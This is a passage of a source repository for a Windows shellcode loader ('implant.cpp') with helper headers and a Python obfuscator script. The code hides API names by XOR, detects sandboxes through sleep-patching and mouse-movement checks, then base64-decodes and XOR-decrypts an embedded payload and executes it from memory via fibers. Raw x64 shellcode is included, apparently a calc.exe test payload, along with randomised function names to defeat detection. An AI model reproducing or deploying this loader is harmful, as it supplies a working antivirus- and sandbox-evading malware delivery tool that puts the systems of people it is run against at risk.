0x2d, 0x29, 0x1a, 0x20, 0x16, 0x38, 0x30, 0x36, 0x26, 0x00 }; 61 | unsigned char __createfiber[] = {0x02, 0x30, 0x26, 0x25, 0x31, 0x23, 0x01, 0x21, 0x2b, 0x2f, 0x39, 0x00 }; 62 | unsigned char __switchtofiber[] = {0x12, 0x35, 0x2a, 0x30, 0x26, 0x2e, 0x13, 0x27, 0x0f, 0x23, 0x29, 0x29, 0x3f, 0x00 }; -------------------------------------------------------------------------------- /headers/obfuscators.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "definitons.h" 7 | 8 | #pragma comment (lib, "User32.lib") 9 | #pragma once 10 | 11 | /// XOR two strings 12 | void LCzOatFaVf71(unsigned char * payload, unsigned int payload_len, const char * xor_key, unsigned int xor_key_len){ 13 | int j; 14 | j = 0; 15 | for (int i = 0; i < payload_len; i++) { 16 | if (j == xor_key_len) j = 0; 17 | payload[i] = payload[i] ^ xor_key[j]; 18 | j++; 19 | } 20 | } 21 | 22 | 23 | /// Decrypt function names 24 | void boUpJkYnxh29(unsigned char * enc_func_name){ 25 | unsigned int enc_len = (int)strlen((const char *)enc_func_name); 26 | LCzOatFaVf71(enc_func_name, enc_len, XOR_FUNC_KEY, xor_func_key_len); 27 | } 28 | 29 | /// Populate WinAPI functions 30 | /// 31 | /// Return Values 32 | /// 0 - OK 33 | /// -1 - Could not find kernel32.dll 34 | /// -2 - Could not find user32.dll 35 | /// -3 - Could not find crypt32.dll 36 | /// -4 - Could not find GetTickCount in kernel32.dll 37 | /// -5 - Could not find Sleep in kernel32.dll 38 | /// -6 - Could not find OpenInputDesktop in user32.dll 39 | /// -7 - Could not find SetThreadDesktop in user32.dll 40 | /// -8 - Could not find GetCursorPos in user32.dll 41 | /// -9 - Could not find CryptStringToBinaryA in crypt32.dll 42 | /// -10 - Could not find VirtualAlloc in kernel32.dll 43 | /// -11 - Could not find VirtualProtect in kernel32.dll 44 | /// -12 - Could not find ConvertThreadToFiber in kernel32.dll 45 | /// -13 - Could not find CreateFiber in kernel32.dll 46 | /// -14 - Could not find SwitchToFiber in kernel32.dll 47 | int __get_funcs(){ 48 | _kernel32 = LoadLibrary((LPCWSTR)"kernel32.dll"); 49 | if (_kernel32 == NULL){ 50 | // fprintf(stderr, "Could not find kernel32.dll\n"); 51 | return -1; 52 | } 53 | 54 | _user32 = LoadLibrary((LPCWSTR)"user32.dll"); 55 | if(_user32 == NULL){ 56 | // fprintf(stderr, "Could not find user32.dll\n"); 57 | return -2; 58 | } 59 | 60 | _crypt32 = LoadLibrary((LPCWSTR)"crypt32.dll"); 61 | if(_crypt32 == NULL){ 62 | // fprintf(stderr, "Could not find crypt32.dll\n"); 63 | return -3; 64 | } 65 | 66 | // Decrypt the XOR'd Function name and get it's address 67 | boUpJkYnxh29(__gettickcount); 68 | _GetTickCount = (__type_gettickcount)GetProcAddress(_kernel32, (LPCSTR)__gettickcount); 69 | if (_GetTickCount == NULL){ 70 | // fprintf(stderr, "Could not find GetTickCount in kernel32.dll\n"); 71 | return -4; 72 | } 73 | 74 | boUpJkYnxh29(__sleep); 75 | _Sleep = (__type_sleep)GetProcAddress(_kernel32, (LPCSTR)__sleep); 76 | if (_Sleep == NULL){ 77 | // fprintf(stderr, "Could not find Sleep in kernel32.dll\n"); 78 | return -5; 79 | } 80 | 81 | boUpJkYnxh29(__openinputdesktop); 82 | _OpenInputDesktop = (__type_openinputdesktop)GetProcAddress(_user32, (LPCSTR)__openinputdesktop); 83 | if (_OpenInputDesktop == NULL){ 84 | // fprintf(stderr, "Could not find OpenInputDesktop in user32.dll\n"); 85 | return -6; 86 | } 87 | 88 | boUpJkYnxh29(__setthreaddesktop); 89 | _SetThreadDesktop = (__type_setthreaddesktop)GetProcAddress(_user32, (LPCSTR)__setthreaddesktop); 90 | if (_SetThreadDesktop == NULL){ 91 | // fprintf(stderr, "Could not find SetThreadDesktop in user32.dll\n"); 92 | return -7; 93 | } 94 | 95 | boUpJkYnxh29(__getcursorpos); 96 | _GetCursorPos = (__type_getcursorpos)GetProcAddress(_user32, (LPCSTR)__getcursorpos); 97 | if (_GetCursorPos == NULL){ 98 | // fprintf(stderr, "Could not find GetCursorPos in user32.dll\n"); 99 | return -8; 100 | } 101 | 102 | boUpJkYnxh29(__cryptstringtobinarya); 103 | _CryptStringToBinaryA = (__type_cryptstringtobinarya)GetProcAddress(_crypt32, (LPCSTR)__cryptstringtobinarya); 104 | if (_CryptStringToBinaryA == NULL){ 105 | // fprintf(stderr, "Could not find CryptStringToBinaryA in crypt32.dll\n"); 106 | return -9; 107 | } 108 | 109 | boUpJkYnxh29(__virtualalloc); 110 | _VirtualAlloc = (__type_virtualalloc)GetProcAddress(_kernel32, (LPCSTR)__virtualalloc); 111 | if (_VirtualAlloc == NULL){ 112 | // fprintf(stderr, "Could not find VirtualAlloc in kernel32.dll\n"); 113 | return -10; 114 | } 115 | 116 | boUpJkYnxh29(__virtualprotect); 117 | _VirtualProtect = (__type_virtualprotect)GetProcAddress(_kernel32, (LPCSTR)__virtualprotect); 118 | if (_VirtualProtect == NULL){ 119 | // fprintf(stderr, "Could not find VirtualProtect in kernel32.dll\n"); 120 | return -11; 121 | } 122 | 123 | boUpJkYnxh29(__convertthreadtofiber); 124 | _ConvertThreadToFiber = (__type_convertthreadtofiber)GetProcAddress(_kernel32, (LPCSTR)__convertthreadtofiber); 125 | if(_ConvertThreadToFiber == NULL){ 126 | // fprintf(stderr, "Could not find ConvertThreadToFiber in kernel32.dll\n"); 127 | return -12; 128 | } 129 | 130 | boUpJkYnxh29(__createfiber); 131 | _CreateFiber = (__type_createfiber)GetProcAddress(_kernel32, (LPCSTR)__createfiber); 132 | if(_CreateFiber == NULL){ 133 | // fprintf(stderr, "Could not find CreateFiber in kernel32.dll\n"); 134 | return -13; 135 | } 136 | 137 | boUpJkYnxh29(__switchtofiber); 138 | _SwitchToFiber = (__type_switchtofiber)GetProcAddress(_kernel32, (LPCSTR)__switchtofiber); 139 | if(_SwitchToFiber == NULL){ 140 | // fprintf(stderr, "Could not find SwitchToFiber in kernel32.dll\n"); 141 | return -14; 142 | } 143 | 144 | return 0; 145 | } 146 | 147 | // Print the contents of an address in hex 148 | // Used for debugging purposes only 149 | // 150 | // void print_hex(unsigned char *payload, unsigned int payload_len){ 151 | // int i; 152 | // 153 | // printf("{"); 154 | // for (i=0; i 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "obfuscators.h" 7 | 8 | #pragma comment (lib, "User32.lib") 9 | 10 | 11 | /// Check for Sleep patching by accelrated time 12 | /// 13 | /// Returns 14 | /// TRUE - No Sleep Patching 15 | /// FALSE - Sleep patching 16 | BOOL QYyuqVKHPv54(){ 17 | DWORD startCount = _GetTickCount(); 18 | _Sleep(INTERVAL); 19 | DWORD endCount = _GetTickCount(); 20 | 21 | DWORD timeSpan = endCount - startCount; 22 | if ((L_INTERVAL > timeSpan) && (timeSpan > U_INTERVAL)){ 23 | return FALSE; 24 | } 25 | 26 | return TRUE; 27 | } 28 | 29 | 30 | /// Check for user activity 31 | /// 32 | /// Returns 33 | /// TRUE - If user activity is detected via mouse movement 34 | /// FALSE - If no mouse movement is observed 35 | int CSipwtXlcS51(){ 36 | int __infinity_loop = 0; 37 | POINT p1, p2; 38 | BOOL res1, res2; 39 | HDESK desktop_handle; 40 | 41 | // Switch to input desktop if different from current one 42 | desktop_handle = _OpenInputDesktop(0, TRUE, GENERIC_READ); 43 | _SetThreadDesktop(desktop_handle); 44 | 45 | // The GetCurorPos() can fail at times so just retry it 5 times and 46 | // if it still fails, then exit out with an error code 47 | while(1){ 48 | res1 = _GetCursorPos(&p1); 49 | if (res1) break; 50 | _Sleep(INTERVAL); 51 | __infinity_loop += 1; 52 | if (__infinity_loop == 5) return FALSE; 53 | } 54 | __infinity_loop = 0; 55 | _Sleep(INTERVAL*10); 56 | 57 | while(1){ 58 | res2 = _GetCursorPos(&p2); 59 | if (res2) break; 60 | _Sleep(INTERVAL); 61 | __infinity_loop += 1; 62 | if (__infinity_loop == 5) return FALSE; 63 | } 64 | 65 | if (res1 && res2){ 66 | if (p1.x==p2.x || p1.y == p2.y || ((p1.x-p2.x)==(p1.y-p2.y))){ 67 | return FALSE; 68 | } 69 | else { 70 | return TRUE; 71 | } 72 | } 73 | else{ 74 | return FALSE; 75 | } 76 | 77 | } 78 | 79 | /// Check for Sandboxes 80 | int wUtMwCHxxt10(){ 81 | BOOL __sleep_patch = QYyuqVKHPv54(); 82 | BOOL __cursor_activity = CSipwtXlcS51(); 83 | 84 | if (__sleep_patch && __cursor_activity){ 85 | return 0; 86 | } 87 | 88 | return -1; 89 | } 90 | -------------------------------------------------------------------------------- /implant.cpp: -------------------------------------------------------------------------------- 1 | /// Compile With: 2 | /// cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /I "headers" /link /OUT:executables\levelX.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 3 | #include 4 | #include 5 | #include 6 | #include 7 | #pragma comment (lib, "Crypt32.lib") 8 | 9 | /// User defined headers 10 | #include "sandbox.h" 11 | 12 | // Payload String - Level 2 13 | unsigned char payload[] = { 14 | 0x6e, 0x53, 0x72, 0x67, 0x67, 0x4a, 0x57, 0x4f, 0x70, 0x32, 0x68, 0x70, 0x61, 15 | 0x69, 0x6f, 0x39, 0x4c, 0x44, 0x34, 0x39, 0x49, 0x53, 0x63, 0x36, 0x51, 0x71, 16 | 0x59, 0x51, 0x50, 0x76, 0x77, 0x71, 0x47, 0x54, 0x4c, 0x71, 0x4d, 0x48, 0x73, 17 | 0x73, 0x37, 0x6a, 0x52, 0x48, 0x49, 0x4f, 0x49, 0x59, 0x4f, 0x79, 0x52, 0x69, 18 | 0x32, 0x53, 0x55, 0x36, 0x50, 0x45, 0x4f, 0x36, 0x50, 0x45, 0x53, 0x32, 0x32, 19 | 0x30, 0x51, 0x59, 0x42, 0x6d, 0x4e, 0x4f, 0x51, 0x79, 0x57, 0x6b, 0x72, 0x32, 20 | 0x6f, 0x70, 0x61, 0x4b, 0x75, 0x4a, 0x67, 0x54, 0x38, 0x76, 0x50, 0x6a, 0x6a, 21 | 0x36, 0x49, 0x46, 0x50, 0x2f, 0x4e, 0x30, 0x6f, 0x2f, 0x65, 0x61, 0x6e, 0x78, 22 | 0x34, 0x65, 0x70, 0x6a, 0x5a, 0x47, 0x55, 0x75, 0x34, 0x71, 0x67, 0x64, 0x44, 23 | 0x53, 0x4e, 0x74, 0x76, 0x54, 0x37, 0x6b, 0x4f, 0x47, 0x6b, 0x32, 0x2b, 0x44, 24 | 0x52, 0x56, 0x50, 0x33, 0x61, 0x6f, 0x6d, 0x69, 0x77, 0x70, 0x6e, 0x61, 0x6f, 25 | 0x6c, 0x37, 0x6c, 0x4c, 0x76, 0x49, 0x47, 0x69, 0x38, 0x4a, 0x6c, 0x32, 0x6b, 26 | 0x4a, 0x6c, 0x36, 0x77, 0x33, 0x54, 0x4f, 0x79, 0x76, 0x58, 0x67, 0x33, 0x64, 27 | 0x72, 0x6c, 0x42, 0x6d, 0x68, 0x53, 0x54, 0x4c, 0x32, 0x63, 0x70, 0x51, 0x6d, 28 | 0x38, 0x74, 0x55, 0x4c, 0x73, 0x65, 0x74, 0x44, 0x55, 0x71, 0x35, 0x44, 0x42, 29 | 0x56, 0x4f, 0x33, 0x4b, 0x6b, 0x45, 0x7a, 0x66, 0x38, 0x64, 0x44, 0x45, 0x2b, 30 | 0x36, 0x69, 0x4a, 0x2f, 0x4c, 0x57, 0x53, 0x32, 0x4a, 0x75, 0x4e, 0x74, 0x34, 31 | 0x69, 0x4e, 0x74, 0x76, 0x53, 0x38, 0x33, 0x4d, 0x53, 0x6b, 0x73, 0x4b, 0x69, 32 | 0x34, 0x30, 0x4c, 0x6a, 0x59, 0x68, 0x4f, 0x43, 0x41, 0x70, 0x34, 0x59, 0x39, 33 | 0x45, 0x4a, 0x44, 0x53, 0x59, 0x69, 0x44, 0x45, 0x72, 0x4d, 0x6a, 0x59, 0x6c, 34 | 0x35, 0x58, 0x32, 0x5a, 0x4a, 0x6f, 0x32, 0x4d, 0x69, 0x79, 0x67, 0x2b, 0x7a, 35 | 0x58, 0x6c, 0x35, 0x65, 0x6d, 0x46, 0x69, 0x59, 0x32, 0x52, 0x6c, 0x4c, 0x75, 36 | 0x72, 0x6c, 0x61, 0x47, 0x74, 0x72, 0x62, 0x43, 0x7a, 0x55, 0x58, 0x76, 0x73, 37 | 0x65, 0x39, 0x59, 0x79, 0x68, 0x7a, 0x6f, 0x62, 0x43, 0x32, 0x69, 0x38, 0x37, 38 | 0x32, 0x38, 0x54, 0x32, 0x32, 0x66, 0x69, 0x5a, 0x73, 0x69, 0x44, 0x71, 0x72, 39 | 0x6b, 0x4e, 0x51, 0x61, 0x78, 0x4a, 0x6c, 0x38, 0x49, 0x71, 0x53, 0x42, 0x6e, 40 | 0x48, 0x4f, 0x4d, 0x57, 0x51, 0x4b, 0x46, 0x68, 0x42, 0x68, 0x4f, 0x79, 0x4c, 41 | 0x74, 0x76, 0x35, 0x6d, 0x79, 0x43, 0x77, 0x67, 0x47, 0x43, 0x45, 0x49, 0x49, 42 | 0x46, 0x67, 0x70, 0x77 }; 43 | 44 | // Length of payload array 45 | unsigned int payload_len = (unsigned int)(sizeof(payload)/sizeof(payload[0])); 46 | 47 | /// Main Function 48 | /// 49 | /// Returns 50 | /// 0 - OK 51 | /// -1 - VirtualAlloc() failed 52 | /// -2 - VirtualProtect() failed 53 | /// -3 - ConvertThreadToFiber() failed 54 | /// -4 - CreateFiber() failed 55 | /// -5 - Base64 decoding failed while trying to assess the length of the resulting string 56 | /// -6 - Base64 decoding failed 57 | /// -98 - Failed to populate functions 58 | /// -99 - Sandbox check failed 59 | int main(void){ 60 | BOOL rv; 61 | BOOL b64_return; 62 | DWORD _event = 0; 63 | void * exec_mem; 64 | DWORD oldprotect = 0; 65 | DWORD decoded_data_len; 66 | LPVOID th; 67 | LPVOID fiber; 68 | 69 | // Populate functions 70 | if (__get_funcs() != 0){ 71 | // fprintf(stderr, "Failed to populate functions\n"); 72 | return -98; 73 | } 74 | 75 | // Convert main Thread to fiber 76 | th = _ConvertThreadToFiber(NULL); 77 | if(th == NULL){ 78 | // fprintf(stderr, "ConvertThreadToFiber failed!\n"); 79 | return -3; 80 | } 81 | 82 | // Check for sandbox 83 | if (wUtMwCHxxt10() != 0) { 84 | // fprintf(stderr, "Sandbox Environment!\n"); 85 | return -99; 86 | } 87 | 88 | b64_return = _CryptStringToBinaryA((LPCSTR) payload, payload_len, CRYPT_STRING_BASE64, NULL, &decoded_data_len, NULL, NULL); 89 | if (b64_return == NULL){ 90 | // fprintf(stderr, "Base64 Decoding Failed with error: %d\n", GetLastError()); 91 | return -5; 92 | } 93 | 94 | // Allocate a memory buffer for payload 95 | exec_mem = _VirtualAlloc(0, decoded_data_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 96 | if (exec_mem == NULL){ 97 | // fprintf(stderr, "VirtualAlloc Failed with error code: %d\n", GetLastError()); 98 | return -1; 99 | } 100 | 101 | // Decode the string 102 | b64_return = _CryptStringToBinaryA((LPCSTR) payload, payload_len, CRYPT_STRING_BASE64, (BYTE * )exec_mem, &decoded_data_len, NULL, NULL); 103 | if (b64_return == NULL){ 104 | // fprintf(stderr, "Base64 Decoding Failed with error: %d\n", GetLastError()); 105 | return -6; 106 | } 107 | 108 | // XOR Payload 109 | LCzOatFaVf71((unsigned char*)exec_mem, decoded_data_len, XOR_KEY, xor_key_len); 110 | 111 | // Make new buffer as executable 112 | rv = _VirtualProtect(exec_mem, decoded_data_len, PAGE_EXECUTE_READ, &oldprotect); 113 | if ( rv == 0 ) { 114 | // fprintf(stderr, "VirtualProtect Failed with error code: %d\n", GetLastError()); 115 | return -2; 116 | } 117 | 118 | fiber = _CreateFiber(0, (LPFIBER_START_ROUTINE)exec_mem, NULL); 119 | if (fiber == NULL){ 120 | // fprintf(stderr, "CreateFiber Failed with error code: %d\n", GetLastError()); 121 | return -4; 122 | } 123 | 124 | _SwitchToFiber(fiber); 125 | 126 | return 0; 127 | } -------------------------------------------------------------------------------- /scripts/obfuscator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from base64 import b64encode 3 | from random import choice 4 | from string import ascii_letters, digits 5 | from sys import exit 6 | 7 | RAW_PAYLOAD = [0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00] 8 | XOR_KEY = "abcdefghijklmnopqrstuvwxyz" 9 | FUNC_XOR_KEY = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 10 | 11 | # Produce XOR 12 | def xor_func_name(func_name): 13 | _result = list() 14 | for i in range(len(func_name)): 15 | _result.append((ord(func_name[i]) ^ ord(FUNC_XOR_KEY[i%len(FUNC_XOR_KEY)]))); 16 | _result.append(0) 17 | print_payload(_result) 18 | return _result 19 | 20 | 21 | # Print in hex 22 | def print_payload(payload): 23 | i = 1 24 | _delimeter = "\n" 25 | print("{") 26 | for _c in payload: 27 | _delimeter = " " if i==len(payload) else ", " if (i% 13 != 0) else ",\n" 28 | print("0x{:02x}".format(_c), end = _delimeter) 29 | i = i+1 30 | print("};") 31 | print("Payload Len: ", len(payload)) 32 | 33 | 34 | # Generate random strings 35 | def gen_rand_str(count, size=12): 36 | if count <= 0: 37 | return 38 | else: 39 | for i in range(count): 40 | letters = ''.join(choice(ascii_letters) for i in range(size-2)) 41 | digs = ''.join(choice(digits) for i in range(2)) 42 | print(f"{letters}{digs}") 43 | 44 | 45 | class Obsfucator: 46 | def __init__(self, raw_payload, xor_key): 47 | self.raw_payload = [x for x in raw_payload] 48 | self.raw_len = len(self.raw_payload) 49 | self.base64_payload = None 50 | self.base64_payload_len = 0 51 | self.xor_key = [ord(x) for x in xor_key] 52 | 53 | 54 | def level0(self): 55 | "Print the raw payload" 56 | print_payload(self.raw_payload) 57 | 58 | 59 | def level1(self): 60 | "XOR Payload" 61 | payload_len = self.raw_len 62 | key_len = len(self.xor_key) 63 | 64 | for i in range(payload_len): 65 | _payload_element = self.raw_payload[i] 66 | _key_element = self.xor_key[i%key_len] 67 | self.raw_payload[i] = _payload_element ^ _key_element 68 | 69 | 70 | def level2(self): 71 | "Base64 payload from Level 1" 72 | self.level1() 73 | _enc_payload = b64encode(bytes(self.raw_payload)).decode() 74 | self.raw_payload = [ord(x) for x in _enc_payload] 75 | self.level0() 76 | 77 | 78 | def main(): 79 | # obs = Obsfucator(RAW_PAYLOAD, XOR_KEY) 80 | # obs.level2() 81 | gen_rand_str(12) 82 | return 0 83 | 84 | if __name__ == '__main__': 85 | exit_code = main() 86 | exit(exit_code) -------------------------------------------------------------------------------- /translate.txt: -------------------------------------------------------------------------------- 1 | LCzOatFaVf71 -> XOR 2 | QYyuqVKHPv54 -> __check_sleep_patch 3 | CSipwtXlcS51 -> __check_cursor_activity 4 | wUtMwCHxxt10 -> check_sandbox 5 | boUpJkYnxh29 -> __decrypt_function_name 6 | --------------------------------------------------------------------------------